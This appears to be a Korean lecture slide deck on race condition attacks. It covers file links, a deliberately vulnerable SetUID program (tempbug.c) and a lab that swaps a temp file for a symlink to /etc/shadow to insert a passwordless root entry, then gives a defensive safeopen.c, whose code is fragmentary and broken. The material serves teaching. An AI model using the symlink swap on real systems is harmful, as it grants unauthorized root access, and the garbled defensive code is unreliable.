레이스 컨디션
■ 목 차 ■ 레이스 컨디션 공격이란 파일링크 레이스 컨디션 공격에 대한 이해 레이스 컨디션 공격 수행 ■ 목 차 ■ 레이스 컨디션 공격이란 파일링크 레이스 컨디션 공격에 대한 이해 레이스 컨디션 공격 수행 레이스 컨디션 공격에 대한 대응책
레이스 컨디션 공격 관리자의 권한으로 실행되는 프로그램 중간에 끼어들어 자신이 원하는 작업을 하는 것. 공격원리 어떤 프로그램이 실행 도중에 임시파일을 생성하여 사용하는데 그 파일에 접근하는 아주 짧은 시간 동안 끼어들어 공격함
파일링크 파일을 잇는 끈 종류 하드 링크 심볼릭 링크 리눅스에서 a.txt라는 파일 생성 그 후 vi a.txt Ese a 누른 후 파일내용 입력 Ese후 :wq 로 파일 저장 그 후 ls –al /root/a.txt 로 /root 디렉터리에 생성된 a.txt 파일 확인
파일링크 하드링크 똑같이 복사된 파일을 만드는 것 생성 법 ln a.txt link.txt 링크한 파일의 링크 수 확인
파일링크 심볼릭 링크 원본 파일 데이터를 가리키는 링크 정보만을 가진 파일을 만드는 것 생성 법 원본 파일 데이터를 가리키는 링크 정보만을 가진 파일을 만드는 것 생성 법 ln –s a.txt symlink.txt 심볼릭 링크한 symlink.txt 파일 확인 a.txt 파일 소유자 확인
파일링크 심볼릭 링크 심볼릭 링크 파일 수정하기(symlink.txt를 관리자권한으로 둔 채) symlink.txt 파일 내용 수정 후 a.txt. 파일 내용 확인 원본 파일과 권한의 차이가 있는 심볼릭 링크 파일 수정하기 수정할 수 없음. 하드링크에서 원본파일 삭제 심볼릭 링크의 파일은 남아있지만 내용은 삭제됨 원본파일 재생성(a.txt) 심볼릭 링크 파일에 새로 만든 a.txt파일과 같은 내용이 저장되어 있음 A.txt 수정 시 symlink.txt.도 바뀜
파일링크 심볼릭 링크
SetUID와 임시 파일 처리 프로세스가 존재하는 정상적인 프로그램 실행 절차 레이스 컨디션 공격에 대한 이해 SetUID와 임시 파일 처리 프로세스가 존재하는 정상적인 프로그램 실행 절차 레이스 컨디션 공격을 위한 조건 파일 소유자가 root이고 SetUID 비트를 가져야 함 생성되는 임시 파일의 이름을 알고 있어야 함
프로그램 실행 전 임시 파일을 심볼릭 링크로 미리 생성 레이스 컨디션 공격에 대한 이해 생성된 임시 파일이 확인되면 임시 파일 이름으로 프로그램이 실행되기 전 심볼릭 링크 파일 생성 가능 프로그램 실행 전 임시 파일을 심볼릭 링크로 미리 생성
임시 파일이 심볼릭 링크 파일로 교체된 후 프로그램 실행 절차 레이스 컨디션 공격에 대한 이해 임시 파일 생성 전 해당 임시 파일이 이미 존재하고 있는지 여부 판단 않는 경우의 프로그램 실행 절차 임시 파일이 심볼릭 링크 파일로 교체된 후 프로그램 실행 절차
레이스 컨디션 공격에 대한 이해 정상적인 프로그램 실행 과정 레이스 컨디션 공격 코드는 다음과 같은 작업 반복 수행 임시파일 존재 여부 확인 임시파일이 있다면 삭제하고 재생성 임시파일에 접근하고 처리 레이스 컨디션 공격 코드는 다음과 같은 작업 반복 수행 임시 파일이 존재하는 경우 심볼릭 링크 파일인지 여부 확인 심볼릭 링크가 아닐 경우 임시 파일을 삭제 임시 파일을 심볼릭 링크로 생성 레이스 컨디션 성공했을 때의 프로세스 정상 프로세스 - 1. 임시파일 존재 여부 확인 정상 프로세스 - 2. 임시 파일이 이미 있다면 삭제하고 재생성 공격 프로세스 - 1. 임시 파일이 존재하는 경우 심볼릭 링크 파일인지 여부 확인 공격 프로세스 - 2. 심볼릭 링크가 아닐 경우 임시 파일을 삭제 공격 프로세스 - 3. 임시 파일을 심볼릭 링크로 생성 정상 프로세스 - 3. 임시 파일에 접근하고 처리
레이스 컨디션 공격 수행 실습 환경: 레드햇 6.2 필요 프로그램: tempbug.c 파일명과 파일 내용의 두 인수를 주면 해당 내용을 파일에 쓰는 역할을 하는 간단한 프로그램 tempbug.c #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/stat.h> #include <sys/types.h> int main (int argc, char * argv []){ struct stat st; FILE * fp; if (argc != 3) { fprintf (stderr, "usage : %s file message\n", argv [0]); exit(EXIT_FAILURE); }
레이스 컨디션 공격 수행 tempbug.c sleep (20); // 공격을 위해 파일이 생성된 후, 파일을 열기까지 20초 동안 // 시간 간격을 두었다. 이 시간 간격 안에 실습을 마쳐야 한다. if ((fp = fopen (argv [1], "w")) == NULL) { fprintf (stderr, "Can't open\n"); exit(EXIT_FAILURE); } fprintf (fp, "%s\n", argv [2]); fclose (fp); fprintf (stderr, "Write Ok\n"); exit(EXIT_SUCCESS);
레이스 컨디션 공격 수행 1. 공격 대상 파일 생성하기 /etc/shadow 파일에 대해 공격 수행 전, 파일 백업 cp /etc/shadow /etc/shadow.backup Tempbug.c 컴파일, SetUID 권한 부여 gcc -o tempbug tempbug.c Chmod 4755 tempbug Ls -al tempbug 취약 프로그램인 tempbug 생성 후 확인
레이스 컨디션 공격 수행 2. 공격 대상 파일 실행하기 temp 파일 생성, 이 파일에 ‘root::12519:0:99999:7:::’을 쓰도록 백그라운드 (&)로 실행 touch temp ./tempbug temp “root::12519:0:99999:7:::” & temp 파일에 root 관련 내용을 저장하도록 tempbug 실행
레이스 컨디션 공격 수행 3. 파일 바꿔치기 먼저 생성했던 temp 파일 삭제 /etc/shadow 파일에 대한 심볼릭 링크파일을 tempbug가 접근하고자 하는 temp 파일로 바꿔치기(20초 이내 완료) rm temp ln -s /etc/shadow ./temp fg 생성된 temp 파일 삭제 후 /etc/shadow 파일에 대한 심볼릭 링크 파일 생성
레이스 컨디션 공격 수행 4. 공격 결과 확인 5. 시스템 정상 상태 확인 temp 파일에 입력되었어야 할 내용이 /etc/shadow 파일에 입력된 것 확인 cat /etc/shadow 변경된 /etc/shadow 파일 내용 확인 5. 시스템 정상 상태 확인 공격 뒤에는 /etc/shadow 파일 복구 mv /etc/shadow.backup /etc shadow
레이스 컨디션 공격에 대한 대응책 임시파일을 생성한 후, 임시 파일에 접근하기 전에 임시파일에 대한 심볼릭 링크 설정 여부와 권한에 대한 검사과정을 추가함. 이런 내용을 포함하는 프로그램 예: safeopen.c safeopen.c int safeopen(char *filename){ struct stat st, st2; int fd; ➊ if (lstat (filename, &st) != 0) return -1; ➋ if(!S_ISREG(st.st_mode)) ➌ if (st.st_uid != 0) fd = open (filename , O_RDWR ,0); if (fd < 0) ➊ 심볼릭 링크의 유무에 대한 정보 반환 ➋ 구조체 st에 대한 st_mode 값으로 파일의 종류에 대해 확인 - S_ISREG : 일반적인 파일 테스트 ➌ 생성된 파일의 소유자가 root가 아닌 경우를 검사, 공격자가 자신이 생성한 파일을 삭제하고 접근하고자 하는 파일이 일반 계정 소유의 파일인지 확인
레이스 컨디션 공격에 대한 대응책 safeopen.c ➍ 파일 포인터에 의해 열린 파일의 정보를 모아 st2 구조체에 전달함 - 전달되는 데이터: 장치, I-노드, 링크 개수, 파일소유자의 사용자 ID, 소유자의 그룹 ID, 바이트 단위 크기, 마지막 접근시간, 마지막 수정된 시간, 마지막 바뀐시간, 파일 시스템 입출력(I/O) 데이터 블록의 크기, 할당된 데이터 블록의 수 ➎ 최초 파일에 대한 정보를 저장하고 있는 st와 파일을 연 후 st2에 저장된 I-노드 값과 장치 값이 변경되었는지에 대해 반환함 ➍ if (fstat (fd, &st2) != 0){ close(fd); return -1; } ➎ if (st.st_ino) != st2.st_ino || st.st_dev != st2.st_dev){ close (fd); return fd;
THANK YOU